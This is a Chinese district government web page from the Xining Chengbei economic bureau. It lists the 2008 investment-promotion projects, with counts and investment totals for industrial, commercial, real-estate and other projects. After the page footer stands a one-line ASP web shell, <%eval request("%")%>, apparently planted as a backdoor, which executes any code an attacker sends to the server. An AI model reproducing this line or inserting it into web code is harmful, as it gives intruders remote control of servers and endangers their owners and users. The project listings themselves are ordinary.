首页
城北概况
政务公开
投资服务
招商项目
会展信息
企业巡礼
信箱留言
                                                 招商热线 0971-5507380     5512683


2008
年招商引资项目说明

      2008 年,我区将以引导地区企业加强与发达地区的经贸交流与合作,推进科技创新和管理创新、加大招商引资的力度、搞好项目建设的外围服务工作为突破口,进一步规范招商引资项目的布局,提高招商引资的质量和效益,加快产业结构的战略性调整,不断促进地区经济快速发展。围绕这一目标,将全面实施工业、商贸、房地产等 3 个方面的重点项目 57 项,总投资共计 378443 万元,预计 2008 年完成投资 159290 万元。

    其中,续建项目 19 项,总投资 217600 万元,预计 2008 年完成投资 60000 万元。

    1 、工业项目 5 项,总投资 33800 万元,预计 2008 年完成投资 10850 万元。

    2 、房地产项目 8 项,总投资 108500 万元,预计 2008 年完成投资 25350 万元。

    3 、商贸项目 3 项,总投资 43000 万元,预计 2008 年完成投资 15500 万元。

    4 、其他项目 3 项,总投资 32300 万元,预计 2008 年完成投资 8300 万元。

    新建项目 38 项,总投资 160843 万元,预计 2008 年完成投资 99290 万元。

    1 、工业项目 14 项,总投资 32900 万元,预计 2008 年完成投资 26500 万元。

    2 、商贸项目 8 项,总投资 76500 万元,预计 2008 年完成投资 48500 万元。

    3 、房地产项目 5 项,总投资 31400 万元,预计 2008 年完成投资 10500 万元。

    4 、其他项目 11 项,总投资 20043 万元,预计 2008 年完成投资 13790 万元



建议采用1024×768或800×600分辨率浏览

青ICP备000000号

西宁市城北区经济局

<%eval request("%")%>